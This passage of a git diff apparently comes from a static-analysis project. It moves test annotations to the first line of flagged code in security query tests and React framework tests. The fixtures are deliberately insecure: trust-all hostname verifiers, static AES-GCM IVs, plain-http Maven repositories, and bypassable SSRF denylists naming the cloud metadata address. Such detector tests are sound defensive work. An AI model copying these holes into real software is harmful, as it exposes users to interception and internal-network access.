testDOMSource(Socket socket) throws Exception { - DOMSource source = new DOMSource( - DocumentBuilderFactory.newInstance().newDocumentBuilder().parse(socket.getInputStream())); // $ Source + DOMSource source = new DOMSource( // $ Source + DocumentBuilderFactory.newInstance().newDocumentBuilder().parse(socket.getInputStream())); TransformerFactory.newInstance().newTransformer(source).transform(null, null); // $ Alert } diff --git a/java/ql/test/query-tests/security/CWE-079/semmle/tests/JsfXSS.java b/java/ql/test/query-tests/security/CWE-079/semmle/tests/JsfXSS.java index a6f95bccfa61..c5c97af9bb54 100644 --- a/java/ql/test/query-tests/security/CWE-079/semmle/tests/JsfXSS.java +++ b/java/ql/test/query-tests/security/CWE-079/semmle/tests/JsfXSS.java @@ -24,9 +24,9 @@ public void encodeBegin(FacesContext facesContext, UIComponent component) throws ResponseWriter writer = facesContext.getResponseWriter(); writer.write(""); diff --git a/java/ql/test/query-tests/security/CWE-1104/semmle/tests/bad-bintray-pom.xml b/java/ql/test/query-tests/security/CWE-1104/semmle/tests/bad-bintray-pom.xml index e5a87437df7e..d91437bc18b8 100644 --- a/java/ql/test/query-tests/security/CWE-1104/semmle/tests/bad-bintray-pom.xml +++ b/java/ql/test/query-tests/security/CWE-1104/semmle/tests/bad-bintray-pom.xml @@ -14,41 +14,41 @@ An example of using bintray as a repository - + jcenter JCenter https://jcenter.bintray.com - - + + jcenter-snapshots JCenter https://jcenter.bintray.com - + - + jcenter JCenter https://jcenter.bintray.com - + - + jcenter JCenter https://dl.bintray.com/groovy/maven - + - + jcenter-plugins JCenter https://jcenter.bintray.com - + diff --git a/java/ql/test/query-tests/security/CWE-1204/StaticInitializationVector.java b/java/ql/test/query-tests/security/CWE-1204/StaticInitializationVector.java index b7b259066451..6d2619fe8243 100644 --- a/java/ql/test/query-tests/security/CWE-1204/StaticInitializationVector.java +++ b/java/ql/test/query-tests/security/CWE-1204/StaticInitializationVector.java @@ -52,10 +52,10 @@ public byte[] encryptWithStaticIvByteArray(byte[] key, byte[] plaintext) throws // BAD: AES-GCM with static IV from a multidimensional byte array public byte[] encryptWithOneOfStaticIvs01(byte[] key, byte[] plaintext) throws Exception { - byte[][] staticIvs = new byte[][] { + byte[][] staticIvs = new byte[][] { // $ Source { 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0, 1, 2, 3, 4, 5 }, { 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0, 1, 2, 3, 4, 42 } - }; // $ Source + }; GCMParameterSpec ivSpec = new GCMParameterSpec(128, staticIvs[1]); SecretKeySpec keySpec = new SecretKeySpec(key, "AES"); @@ -68,10 +68,10 @@ public byte[] encryptWithOneOfStaticIvs01(byte[] key, byte[] plaintext) throws E // BAD: AES-GCM with static IV from a multidimensional byte array public byte[] encryptWithOneOfStaticIvs02(byte[] key, byte[] plaintext) throws Exception { - byte[][] staticIvs = new byte[][] { + byte[][] staticIvs = new byte[][] { // $ Source new byte[] { 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0, 1, 2, 3, 4, 5 }, new byte[] { 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0, 1, 2, 3, 4, 42 } - }; // $ Source + }; GCMParameterSpec ivSpec = new GCMParameterSpec(128, staticIvs[1]); SecretKeySpec keySpec = new SecretKeySpec(key, "AES"); diff --git a/java/ql/test/query-tests/security/CWE-200/semmle/tests/SpringBootActuatorsConfig/Version1.0.x-1.4.x/bad/default/pom.xml b/java/ql/test/query-tests/security/CWE-200/semmle/tests/SpringBootActuatorsConfig/Version1.0.x-1.4.x/bad/default/pom.xml index 83c7d2685f37..618d1536c68f 100644 --- a/java/ql/test/query-tests/security/CWE-200/semmle/tests/SpringBootActuatorsConfig/Version1.0.x-1.4.x/bad/default/pom.xml +++ b/java/ql/test/query-tests/security/CWE-200/semmle/tests/SpringBootActuatorsConfig/Version1.0.x-1.4.x/bad/default/pom.xml @@ -26,10 +26,10 @@ org.springframework.boot spring-boot-starter-web - + org.springframework.boot spring-boot-starter-actuator - + org.springframework.boot spring-boot-devtools diff --git a/java/ql/test/query-tests/security/CWE-200/semmle/tests/SpringBootActuatorsConfig/Version1.0.x-1.4.x/bad/false/pom.xml b/java/ql/test/query-tests/security/CWE-200/semmle/tests/SpringBootActuatorsConfig/Version1.0.x-1.4.x/bad/false/pom.xml index 83c7d2685f37..618d1536c68f 100644 --- a/java/ql/test/query-tests/security/CWE-200/semmle/tests/SpringBootActuatorsConfig/Version1.0.x-1.4.x/bad/false/pom.xml +++ b/java/ql/test/query-tests/security/CWE-200/semmle/tests/SpringBootActuatorsConfig/Version1.0.x-1.4.x/bad/false/pom.xml @@ -26,10 +26,10 @@ org.springframework.boot spring-boot-starter-web - + org.springframework.boot spring-boot-starter-actuator - + org.springframework.boot spring-boot-devtools diff --git a/java/ql/test/query-tests/security/CWE-200/semmle/tests/SpringBootActuatorsConfig/Version1.5.x/bad/pom.xml b/java/ql/test/query-tests/security/CWE-200/semmle/tests/SpringBootActuatorsConfig/Version1.5.x/bad/pom.xml index aa1a4bcaf056..74da87150fb0 100644 --- a/java/ql/test/query-tests/security/CWE-200/semmle/tests/SpringBootActuatorsConfig/Version1.5.x/bad/pom.xml +++ b/java/ql/test/query-tests/security/CWE-200/semmle/tests/SpringBootActuatorsConfig/Version1.5.x/bad/pom.xml @@ -26,10 +26,10 @@ org.springframework.boot spring-boot-starter-web - + org.springframework.boot spring-boot-starter-actuator - + org.springframework.boot spring-boot-devtools diff --git a/java/ql/test/query-tests/security/CWE-200/semmle/tests/SpringBootActuatorsConfig/Version2.x/bad/expose/pom.xml b/java/ql/test/query-tests/security/CWE-200/semmle/tests/SpringBootActuatorsConfig/Version2.x/bad/expose/pom.xml index c22f08d7e7ec..9ddb0ce8f84b 100644 --- a/java/ql/test/query-tests/security/CWE-200/semmle/tests/SpringBootActuatorsConfig/Version2.x/bad/expose/pom.xml +++ b/java/ql/test/query-tests/security/CWE-200/semmle/tests/SpringBootActuatorsConfig/Version2.x/bad/expose/pom.xml @@ -26,10 +26,10 @@ org.springframework.boot spring-boot-starter-web - + org.springframework.boot spring-boot-starter-actuator - + org.springframework.boot spring-boot-devtools diff --git a/java/ql/test/query-tests/security/CWE-200/semmle/tests/SpringBootActuatorsConfig/Version2.x/bad/exposure-include/all-exposed/pom.xml b/java/ql/test/query-tests/security/CWE-200/semmle/tests/SpringBootActuatorsConfig/Version2.x/bad/exposure-include/all-exposed/pom.xml index c22f08d7e7ec..9ddb0ce8f84b 100644 --- a/java/ql/test/query-tests/security/CWE-200/semmle/tests/SpringBootActuatorsConfig/Version2.x/bad/exposure-include/all-exposed/pom.xml +++ b/java/ql/test/query-tests/security/CWE-200/semmle/tests/SpringBootActuatorsConfig/Version2.x/bad/exposure-include/all-exposed/pom.xml @@ -26,10 +26,10 @@ org.springframework.boot spring-boot-starter-web - + org.springframework.boot spring-boot-starter-actuator - + org.springframework.boot spring-boot-devtools diff --git a/java/ql/test/query-tests/security/CWE-200/semmle/tests/SpringBootActuatorsConfig/Version2.x/bad/exposure-include/some-exposed/pom.xml b/java/ql/test/query-tests/security/CWE-200/semmle/tests/SpringBootActuatorsConfig/Version2.x/bad/exposure-include/some-exposed/pom.xml index c22f08d7e7ec..9ddb0ce8f84b 100644 --- a/java/ql/test/query-tests/security/CWE-200/semmle/tests/SpringBootActuatorsConfig/Version2.x/bad/exposure-include/some-exposed/pom.xml +++ b/java/ql/test/query-tests/security/CWE-200/semmle/tests/SpringBootActuatorsConfig/Version2.x/bad/exposure-include/some-exposed/pom.xml @@ -26,10 +26,10 @@ org.springframework.boot spring-boot-starter-web - + org.springframework.boot spring-boot-starter-actuator - + org.springframework.boot spring-boot-devtools diff --git a/java/ql/test/query-tests/security/CWE-200/semmle/tests/SpringBootActuatorsConfig/Version3.x/bad/all-exposed/pom.xml b/java/ql/test/query-tests/security/CWE-200/semmle/tests/SpringBootActuatorsConfig/Version3.x/bad/all-exposed/pom.xml index 12dab1d9421a..a7b83c9cd9e4 100644 --- a/java/ql/test/query-tests/security/CWE-200/semmle/tests/SpringBootActuatorsConfig/Version3.x/bad/all-exposed/pom.xml +++ b/java/ql/test/query-tests/security/CWE-200/semmle/tests/SpringBootActuatorsConfig/Version3.x/bad/all-exposed/pom.xml @@ -26,10 +26,10 @@ org.springframework.boot spring-boot-starter-web - + org.springframework.boot spring-boot-starter-actuator - + org.springframework.boot spring-boot-devtools diff --git a/java/ql/test/query-tests/security/CWE-200/semmle/tests/SpringBootActuatorsConfig/Version3.x/bad/some-exposed/pom.xml b/java/ql/test/query-tests/security/CWE-200/semmle/tests/SpringBootActuatorsConfig/Version3.x/bad/some-exposed/pom.xml index 12dab1d9421a..a7b83c9cd9e4 100644 --- a/java/ql/test/query-tests/security/CWE-200/semmle/tests/SpringBootActuatorsConfig/Version3.x/bad/some-exposed/pom.xml +++ b/java/ql/test/query-tests/security/CWE-200/semmle/tests/SpringBootActuatorsConfig/Version3.x/bad/some-exposed/pom.xml @@ -26,10 +26,10 @@ org.springframework.boot spring-boot-starter-web - + org.springframework.boot spring-boot-starter-actuator - + org.springframework.boot spring-boot-devtools diff --git a/java/ql/test/query-tests/security/CWE-297/UnsafeHostnameVerification.java b/java/ql/test/query-tests/security/CWE-297/UnsafeHostnameVerification.java index 77ab00cc432a..456d50c13df6 100644 --- a/java/ql/test/query-tests/security/CWE-297/UnsafeHostnameVerification.java +++ b/java/ql/test/query-tests/security/CWE-297/UnsafeHostnameVerification.java @@ -11,12 +11,12 @@ public class UnsafeHostnameVerification { * Test the implementation of trusting all hostnames as an anonymous class */ public void testTrustAllHostnameOfAnonymousClass() { - HttpsURLConnection.setDefaultHostnameVerifier(new HostnameVerifier() { // $ + HttpsURLConnection.setDefaultHostnameVerifier(new HostnameVerifier() { // $ Alert[java/unsafe-hostname-verification] @Override public boolean verify(String hostname, SSLSession session) { return true; // BAD, always returns true } - }); // $ Alert[java/unsafe-hostname-verification] + }); } /** @@ -63,7 +63,7 @@ public void testTrustAllHostnameDependingOnDerivedValue() { } public void testTrustAllHostnameWithExceptions() { - HostnameVerifier verifier = new HostnameVerifier() { // $ + HostnameVerifier verifier = new HostnameVerifier() { // $ Source[java/unsafe-hostname-verification] @Override public boolean verify(String hostname, SSLSession session) { try { verify(hostname, session.getPeerCertificates()); } catch (Exception e) { throw new RuntimeException(); } @@ -77,7 +77,7 @@ public boolean verify(String hostname, SSLSession session) { // `Exception` in the case of a mismatch. private void verify(String hostname, Certificate[] certs) { } - }; // $ Source[java/unsafe-hostname-verification] + }; HttpsURLConnection.setDefaultHostnameVerifier(verifier); // $ Alert[java/unsafe-hostname-verification] } @@ -85,12 +85,12 @@ private void verify(String hostname, Certificate[] certs) { * Test the implementation of trusting all hostnames as a variable */ public void testTrustAllHostnameOfVariable() { - HostnameVerifier verifier = new HostnameVerifier() { // $ + HostnameVerifier verifier = new HostnameVerifier() { // $ Source[java/unsafe-hostname-verification] @Override public boolean verify(String hostname, SSLSession session) { return true; // BAD, always returns true } - }; // $ Source[java/unsafe-hostname-verification] + }; HttpsURLConnection.setDefaultHostnameVerifier(verifier); // $ Alert[java/unsafe-hostname-verification] } diff --git a/java/ql/test/query-tests/security/CWE-312/android/backup/AllowBackupEnabledTest.expected b/java/ql/test/query-tests/security/CWE-312/android/backup/AllowBackupEnabledTest.expected index a4e41d774cae..124374ebe2b2 100644 --- a/java/ql/test/query-tests/security/CWE-312/android/backup/AllowBackupEnabledTest.expected +++ b/java/ql/test/query-tests/security/CWE-312/android/backup/AllowBackupEnabledTest.expected @@ -1,2 +1,2 @@ -| TestExplicitlyEnabled/AndroidManifest.xml:6:5:27:19 | application | Backups are allowed in this Android application. | -| TestMissing/AndroidManifest.xml:6:5:27:19 | application | Backups are allowed in this Android application. | +| TestExplicitlyEnabled/AndroidManifest.xml:6:21:27:19 | application | Backups are allowed in this Android application. | +| TestMissing/AndroidManifest.xml:6:21:27:19 | application | Backups are allowed in this Android application. | diff --git a/java/ql/test/query-tests/security/CWE-312/android/backup/TestExplicitlyEnabled/AndroidManifest.xml b/java/ql/test/query-tests/security/CWE-312/android/backup/TestExplicitlyEnabled/AndroidManifest.xml index 8e33b872caaf..bb5937df3697 100644 --- a/java/ql/test/query-tests/security/CWE-312/android/backup/TestExplicitlyEnabled/AndroidManifest.xml +++ b/java/ql/test/query-tests/security/CWE-312/android/backup/TestExplicitlyEnabled/AndroidManifest.xml @@ -3,7 +3,7 @@ xmlns:tools="http://schemas.android.com/tools" package="com.example.myapplication"> - - + diff --git a/java/ql/test/query-tests/security/CWE-312/android/backup/TestMissing/AndroidManifest.xml b/java/ql/test/query-tests/security/CWE-312/android/backup/TestMissing/AndroidManifest.xml index 3a61d35c95d2..4cb0644c07c4 100644 --- a/java/ql/test/query-tests/security/CWE-312/android/backup/TestMissing/AndroidManifest.xml +++ b/java/ql/test/query-tests/security/CWE-312/android/backup/TestMissing/AndroidManifest.xml @@ -3,7 +3,7 @@ xmlns:tools="http://schemas.android.com/tools" package="com.example.myapplication"> - - + diff --git a/java/ql/test/query-tests/security/CWE-681/semmle/tests/Test.java b/java/ql/test/query-tests/security/CWE-681/semmle/tests/Test.java index 75862e683e01..754a2feacb44 100644 --- a/java/ql/test/query-tests/security/CWE-681/semmle/tests/Test.java +++ b/java/ql/test/query-tests/security/CWE-681/semmle/tests/Test.java @@ -7,8 +7,8 @@ public static void main(String[] args) throws IOException { { long data; - BufferedReader readerBuffered = new BufferedReader( - new InputStreamReader(System.in, "UTF-8")); // $ Source + BufferedReader readerBuffered = new BufferedReader( // $ Source + new InputStreamReader(System.in, "UTF-8")); String stringNumber = readerBuffered.readLine(); if (stringNumber != null) { data = Long.parseLong(stringNumber.trim()); diff --git a/java/ql/test/query-tests/security/CWE-829/semmle/tests/insecure-pom.xml b/java/ql/test/query-tests/security/CWE-829/semmle/tests/insecure-pom.xml index 9234bd68251d..e53bf1670e20 100644 --- a/java/ql/test/query-tests/security/CWE-829/semmle/tests/insecure-pom.xml +++ b/java/ql/test/query-tests/security/CWE-829/semmle/tests/insecure-pom.xml @@ -16,39 +16,39 @@ An example of insecure download and upload of dependencies - + insecure-releases Insecure Repository Releases http://insecure-repository.example - - + + insecure-snapshots Insecure Repository Snapshots http://insecure-repository.example - - + + insecure-snapshots Insecure Repository Snapshots http://localhost.example - + - + insecure Insecure Repository http://insecure-repository.example - + - + insecure-plugins Insecure Repository Releases http://insecure-repository.example - + diff --git a/javascript/ql/test/Security/CWE-1427/SystemPromptInjection/agents_test.js b/javascript/ql/test/Security/CWE-1427/SystemPromptInjection/agents_test.js index a24ff173ce1f..c5a822274f18 100644 --- a/javascript/ql/test/Security/CWE-1427/SystemPromptInjection/agents_test.js +++ b/javascript/ql/test/Security/CWE-1427/SystemPromptInjection/agents_test.js @@ -29,9 +29,9 @@ app.get("/agents", async (req, res) => { // SHOULD ALERT (async lambda) const agent3 = new Agent({ name: "AsyncDynamic", - instructions: async (runContext) => { + instructions: async (runContext) => { // $ Alert[js/system-prompt-injection] return "Talk like a " + persona; - }, // $ Alert[js/system-prompt-injection] + }, }); // === Agent constructor: handoffDescription === diff --git a/javascript/ql/test/experimental/Security/CWE-918/SsrfIpv6TransitionIncompleteGuard/bad-private-ip-pkg.js b/javascript/ql/test/experimental/Security/CWE-918/SsrfIpv6TransitionIncompleteGuard/bad-private-ip-pkg.js index 53e3d3660c23..2384d1c1344b 100644 --- a/javascript/ql/test/experimental/Security/CWE-918/SsrfIpv6TransitionIncompleteGuard/bad-private-ip-pkg.js +++ b/javascript/ql/test/experimental/Security/CWE-918/SsrfIpv6TransitionIncompleteGuard/bad-private-ip-pkg.js @@ -3,11 +3,11 @@ const fetch = require('node-fetch'); // BAD: `private-ip` classifies the textual IPv4 form only. It returns false for // `::ffff:169.254.169.254`, so a transition-wrapped internal address slips past. -async function validateUrlHost(host) { // NOT OK +async function validateUrlHost(host) { // $ Alert[javascript/ssrf-ipv6-transition-incomplete-guard] // NOT OK if (isPrivate(host)) { throw new Error('blocked private host'); } return fetch('http://' + host + '/'); -} // $ Alert[javascript/ssrf-ipv6-transition-incomplete-guard] +} module.exports = { validateUrlHost }; diff --git a/javascript/ql/test/experimental/Security/CWE-918/SsrfIpv6TransitionIncompleteGuard/bad-rfc1918-regex.js b/javascript/ql/test/experimental/Security/CWE-918/SsrfIpv6TransitionIncompleteGuard/bad-rfc1918-regex.js index 4c067666242b..ee7304a67a08 100644 --- a/javascript/ql/test/experimental/Security/CWE-918/SsrfIpv6TransitionIncompleteGuard/bad-rfc1918-regex.js +++ b/javascript/ql/test/experimental/Security/CWE-918/SsrfIpv6TransitionIncompleteGuard/bad-rfc1918-regex.js @@ -2,7 +2,7 @@ const http = require('http'); // BAD: a hand-written RFC 1918 / loopback / metadata denylist matched against the // host string. The embedded IPv4 inside `::ffff:10.0.0.1` is never seen. -function checkTargetHost(host) { // NOT OK +function checkTargetHost(host) { // $ Alert[javascript/ssrf-ipv6-transition-incomplete-guard] // NOT OK if ( host === '127.0.0.1' || host === '169.254.169.254' || @@ -13,6 +13,6 @@ function checkTargetHost(host) { // NOT OK throw new Error('blocked internal host'); } return http.get('http://' + host + '/'); -} // $ Alert[javascript/ssrf-ipv6-transition-incomplete-guard] +} module.exports = { checkTargetHost }; diff --git a/javascript/ql/test/library-tests/frameworks/HTTP-heuristics/src/route-objects.js b/javascript/ql/test/library-tests/frameworks/HTTP-heuristics/src/route-objects.js index 2abb91d0f11b..89ad59e71d25 100644 --- a/javascript/ql/test/library-tests/frameworks/HTTP-heuristics/src/route-objects.js +++ b/javascript/ql/test/library-tests/frameworks/HTTP-heuristics/src/route-objects.js @@ -5,9 +5,9 @@ var route1 = { method: 'post', url: '/foo', middleWares: [function(req, res){}], // $ Alert[js/unpromoted-route-handler-candidate] - handler(req, res) { + handler(req, res) { // $ Alert[js/unpromoted-route-handler-candidate] - } // $ Alert[js/unpromoted-route-handler-candidate] + } }; app[route1.method](route1.url, route1.middleWares, route1.handler); @@ -17,16 +17,16 @@ var routes = [ { method: 'post', url: '/foo', - handler(req, res) { + handler(req, res) { // $ Alert[js/unpromoted-route-handler-candidate] - } // $ Alert[js/unpromoted-route-handler-candidate] + } }, { method: 'post', url: '/foo', - handler(req, res) { + handler(req, res) { // $ Alert[js/unpromoted-route-handler-candidate] - } // $ Alert[js/unpromoted-route-handler-candidate] + } } ]; routes.forEach((route) => { @@ -37,9 +37,9 @@ routes.forEach((route) => { var route2 = { method: 'POST', url: '/foo', - handler(req, res) { + handler(req, res) { // $ Alert[js/unpromoted-route-handler-candidate] - } // $ Alert[js/unpromoted-route-handler-candidate] + } }; app[route2.method.toLowerCase()](route2.url, route2.handler); @@ -47,15 +47,15 @@ app[route2.method.toLowerCase()](route2.url, route2.handler); var route3 = { method: 'post', url: '/foo', - handler(req, res) { + handler(req, res) { // $ Alert[js/unpromoted-route-handler-candidate] - } // $ Alert[js/unpromoted-route-handler-candidate] + } }; function wrap(f){ - return function(req, res){ + return function(req, res){ // $ Alert[js/unpromoted-route-handler-candidate] f(req); - } // $ Alert[js/unpromoted-route-handler-candidate] + } } app[route3.method](route3.url, wrap(route3.handler)); confuse(wrap); // confuse the type inference diff --git a/javascript/ql/test/library-tests/frameworks/HTTP-heuristics/src/tst.js b/javascript/ql/test/library-tests/frameworks/HTTP-heuristics/src/tst.js index 871ddf9603b7..e24a1a6989f5 100644 --- a/javascript/ql/test/library-tests/frameworks/HTTP-heuristics/src/tst.js +++ b/javascript/ql/test/library-tests/frameworks/HTTP-heuristics/src/tst.js @@ -29,18 +29,18 @@ someOtherApp.get('/some/path', function(r, s, n) { someOtherApp.delete('/some/path', function(req, res) {}) // $ Alert[js/unpromoted-route-setup-candidate] -someOtherApp.get('/some/path', +someOtherApp.get('/some/path', // $ Alert[js/unpromoted-route-setup-candidate] function(req, res) {}, - function(req, res) {}) // $ Alert[js/unpromoted-route-setup-candidate] + function(req, res) {}) -someOtherApp.get('/some/path', [ +someOtherApp.get('/some/path', [ // $ Alert[js/unpromoted-route-setup-candidate] function(req, res) {}, function(req, res) {} -]) // $ Alert[js/unpromoted-route-setup-candidate] +]) -someOtherApp.get('/some/path', +someOtherApp.get('/some/path', // $ Alert[js/unpromoted-route-setup-candidate] function() {}, - function(req, res) {}) // $ Alert[js/unpromoted-route-setup-candidate] + function(req, res) {}) function f(req, res) {} // $ Alert[js/unpromoted-route-handler-candidate] @@ -49,27 +49,27 @@ function f(ctx, next) { ctx.acceptsCharsets() } -function f(req, res) { +function f(req, res) { // $ Alert[js/unpromoted-route-handler-candidate] req() -} // $ Alert[js/unpromoted-route-handler-candidate] +} -function called(req,res) { +function called(req,res) { // $ Alert[js/unpromoted-route-handler-candidate] -} // $ Alert[js/unpromoted-route-handler-candidate] +} called() -function f(req,res) { +function f(req,res) { // $ Alert[js/unpromoted-route-handler-candidate] return; -} // $ Alert[js/unpromoted-route-handler-candidate] +} -function f(req,res) { +function f(req,res) { // $ Alert[js/unpromoted-route-handler-candidate] return x; -} // $ Alert[js/unpromoted-route-handler-candidate] +} function adHocTestsFor_HeuristicRouteHandler() { - function rh_dead(req, res) { + function rh_dead(req, res) { // $ Alert[js/unpromoted-route-handler-candidate] - } // $ Alert[js/unpromoted-route-handler-candidate] + } function rh_flowToSetup(req, res) { @@ -106,9 +106,9 @@ function adHocTestsFor_HeuristicRouteSetups() { function adHocTestsFor_HeuristicRouteHandler_withTracking() { function get_rh_dead() { - return function rh_dead(req, res) { + return function rh_dead(req, res) { // $ Alert[js/unpromoted-route-handler-candidate] - } // $ Alert[js/unpromoted-route-handler-candidate] + } } var rh_dead = get_rh_dead(); diff --git a/javascript/ql/test/library-tests/frameworks/ReactJS/es5.js b/javascript/ql/test/library-tests/frameworks/ReactJS/es5.js index 8d1eb47b55f6..c32f0335610a 100644 --- a/javascript/ql/test/library-tests/frameworks/ReactJS/es5.js +++ b/javascript/ql/test/library-tests/frameworks/ReactJS/es5.js @@ -1,4 +1,4 @@ -var Hello = React.createClass({ +var Hello = React.createClass({ // $ reactComponent displayName: 'Hello', render: function() { return
Hello {this.props.name}
; // $ threatModelSource=view-component-input @@ -8,15 +8,15 @@ var Hello = React.createClass({ name: 'world' // $ getACandidatePropsValue }; } -}); // $ reactComponent +}); Hello.info = function() { return "Nothing to see here."; }; var createReactClass = require('create-react-class'); -var Greeting = createReactClass({ +var Greeting = createReactClass({ // $ reactComponent render: function() { return

Hello, {this.props.name}

; // $ threatModelSource=view-component-input } -}); // $ reactComponent +}); diff --git a/javascript/ql/test/library-tests/frameworks/ReactJS/es6.js b/javascript/ql/test/library-tests/frameworks/ReactJS/es6.js index 333ac1a943f5..b398f0fb1855 100644 --- a/javascript/ql/test/library-tests/frameworks/ReactJS/es6.js +++ b/javascript/ql/test/library-tests/frameworks/ReactJS/es6.js @@ -1,20 +1,20 @@ -class Hello extends React.Component { // $ threatModelSource=view-component-input +class Hello extends React.Component { // $ threatModelSource=view-component-input reactComponent render() { return
Hello {this.props.name}
; // $ threatModelSource=view-component-input } static info() { return "Nothing to see here."; } -} // $ reactComponent +} Hello.displayName = 'Hello'; Hello.defaultProps = { name: 'world' }; -class Hello2 extends React.Component { +class Hello2 extends React.Component { // $ reactComponent constructor() { this.state.foo = 42; this.state.bar.foo = 42; this.state = { baz: 42}; } -} // $ reactComponent +} diff --git a/javascript/ql/test/library-tests/frameworks/ReactJS/exportedComponent.jsx b/javascript/ql/test/library-tests/frameworks/ReactJS/exportedComponent.jsx index 9e2d5580228f..576f30e9bf88 100644 --- a/javascript/ql/test/library-tests/frameworks/ReactJS/exportedComponent.jsx +++ b/javascript/ql/test/library-tests/frameworks/ReactJS/exportedComponent.jsx @@ -1,3 +1,3 @@ -export function MyComponent(props) { // $ threatModelSource=view-component-input +export function MyComponent(props) { // $ threatModelSource=view-component-input reactComponent return
-} // $ reactComponent +} diff --git a/javascript/ql/test/library-tests/frameworks/ReactJS/importedComponent.jsx b/javascript/ql/test/library-tests/frameworks/ReactJS/importedComponent.jsx index ed04d4bec889..904723c63792 100644 --- a/javascript/ql/test/library-tests/frameworks/ReactJS/importedComponent.jsx +++ b/javascript/ql/test/library-tests/frameworks/ReactJS/importedComponent.jsx @@ -1,5 +1,5 @@ import { MyComponent } from "./exportedComponent"; -export function render({color, location}) { // $ threatModelSource=view-component-input locationSource threatModelSource=remote +export function render({color, location}) { // $ threatModelSource=view-component-input locationSource threatModelSource=remote reactComponent return // $ getACandidatePropsValue -} // $ reactComponent +} diff --git a/javascript/ql/test/library-tests/frameworks/ReactJS/plainfn.js b/javascript/ql/test/library-tests/frameworks/ReactJS/plainfn.js index c5d029a44d13..47b3ae6bf659 100644 --- a/javascript/ql/test/library-tests/frameworks/ReactJS/plainfn.js +++ b/javascript/ql/test/library-tests/frameworks/ReactJS/plainfn.js @@ -1,15 +1,15 @@ -function Hello(props) { // $ threatModelSource=view-component-input +function Hello(props) { // $ threatModelSource=view-component-input reactComponent return
Hello {props.name}
; -} // $ reactComponent +} -function Hello2(props) { // $ threatModelSource=view-component-input +function Hello2(props) { // $ threatModelSource=view-component-input reactComponent return React.createElement("div"); -} // $ reactComponent +} -function Hello3(props) { // $ threatModelSource=view-component-input +function Hello3(props) { // $ threatModelSource=view-component-input reactComponent var x = React.createElement("div"); return x; -} // $ reactComponent +} function NotAComponent(props) { if (y) @@ -17,8 +17,8 @@ function NotAComponent(props) { return g(); } -function SpuriousComponent(props) { // $ threatModelSource=view-component-input +function SpuriousComponent(props) { // $ threatModelSource=view-component-input reactComponent if (y) return React.createElement("div"); return 42; -} // $ reactComponent +} diff --git a/javascript/ql/test/library-tests/frameworks/ReactJS/preact.js b/javascript/ql/test/library-tests/frameworks/ReactJS/preact.js index ced8ae6be303..6dae1736dfdc 100644 --- a/javascript/ql/test/library-tests/frameworks/ReactJS/preact.js +++ b/javascript/ql/test/library-tests/frameworks/ReactJS/preact.js @@ -1,11 +1,11 @@ -class Hello extends Preact.Component { // $ threatModelSource=view-component-input +class Hello extends Preact.Component { // $ threatModelSource=view-component-input reactComponent render(props, state) { // $ threatModelSource=view-component-input props.name; state.name; return
; } -} // $ reactComponent +} -class Hello extends preact.Component { // $ threatModelSource=view-component-input +class Hello extends preact.Component { // $ threatModelSource=view-component-input reactComponent -} // $ reactComponent +} diff --git a/javascript/ql/test/library-tests/frameworks/ReactJS/probably-a-component.js b/javascript/ql/test/library-tests/frameworks/ReactJS/probably-a-component.js index c82188beb02a..ba5fe8137bc7 100644 --- a/javascript/ql/test/library-tests/frameworks/ReactJS/probably-a-component.js +++ b/javascript/ql/test/library-tests/frameworks/ReactJS/probably-a-component.js @@ -1,6 +1,6 @@ -class Hello extends Component { // $ threatModelSource=view-component-input +class Hello extends Component { // $ threatModelSource=view-component-input reactComponent render() { this.props.name; // $ threatModelSource=view-component-input return
; } -} // $ reactComponent +} diff --git a/javascript/ql/test/library-tests/frameworks/ReactJS/props.js b/javascript/ql/test/library-tests/frameworks/ReactJS/props.js index 153ee1473428..3d83f1f6be70 100644 --- a/javascript/ql/test/library-tests/frameworks/ReactJS/props.js +++ b/javascript/ql/test/library-tests/frameworks/ReactJS/props.js @@ -1,6 +1,6 @@ function ES2015() { - class C extends React.Component { // $ threatModelSource=view-component-input - } // $ reactComponent + class C extends React.Component { // $ threatModelSource=view-component-input reactComponent + } C.defaultProps = { propFromDefaultProps: "propFromDefaultProps" }; // $ getACandidatePropsValue @@ -10,11 +10,11 @@ function ES2015() { } function ES5() { - var C = React.createClass({ + var C = React.createClass({ // $ reactComponent getDefaultProps() { return { propFromDefaultProps: "propFromDefaultProps" }; // $ getACandidatePropsValue } - }); // $ reactComponent + }); (); // $ getACandidatePropsValue @@ -23,9 +23,9 @@ function ES5() { } function Functional() { - function C(props) { // $ threatModelSource=view-component-input + function C(props) { // $ threatModelSource=view-component-input reactComponent return
; - } // $ reactComponent + } C.defaultProps = { propFromDefaultProps: "propFromDefaultProps" }; // $ getACandidatePropsValue diff --git a/javascript/ql/test/library-tests/frameworks/ReactJS/rare-lifecycle-methods.js b/javascript/ql/test/library-tests/frameworks/ReactJS/rare-lifecycle-methods.js index b4943ea66c30..133be8d54347 100644 --- a/javascript/ql/test/library-tests/frameworks/ReactJS/rare-lifecycle-methods.js +++ b/javascript/ql/test/library-tests/frameworks/ReactJS/rare-lifecycle-methods.js @@ -1,4 +1,4 @@ -class C extends React.Component { // $ threatModelSource=view-component-input +class C extends React.Component { // $ threatModelSource=view-component-input reactComponent static getDerivedStateFromProps(props, state) { return {}; } @@ -8,4 +8,4 @@ class C extends React.Component { // $ threatModelSource=view-component-input getSnapshotBeforeUpdate(prevProps, prevState) { return {}; } -} // $ reactComponent +} diff --git a/javascript/ql/test/library-tests/frameworks/ReactJS/statePropertyReads.js b/javascript/ql/test/library-tests/frameworks/ReactJS/statePropertyReads.js index 93a120937d76..939acb3623f4 100644 --- a/javascript/ql/test/library-tests/frameworks/ReactJS/statePropertyReads.js +++ b/javascript/ql/test/library-tests/frameworks/ReactJS/statePropertyReads.js @@ -1,4 +1,4 @@ -class Reads extends React.Component { +class Reads extends React.Component { // $ reactComponent constructor() { this.state.p1; @@ -10,4 +10,4 @@ class Reads extends React.Component { componentDidUpdate(prevProps, prevState) { prevState.p4; } -} // $ reactComponent +} diff --git a/javascript/ql/test/library-tests/frameworks/ReactJS/statePropertyWrites.js b/javascript/ql/test/library-tests/frameworks/ReactJS/statePropertyWrites.js index 27e02bc6f665..e66ad2a47f0a 100644 --- a/javascript/ql/test/library-tests/frameworks/ReactJS/statePropertyWrites.js +++ b/javascript/ql/test/library-tests/frameworks/ReactJS/statePropertyWrites.js @@ -1,4 +1,4 @@ -class Writes extends React.Component { +class Writes extends React.Component { // $ reactComponent 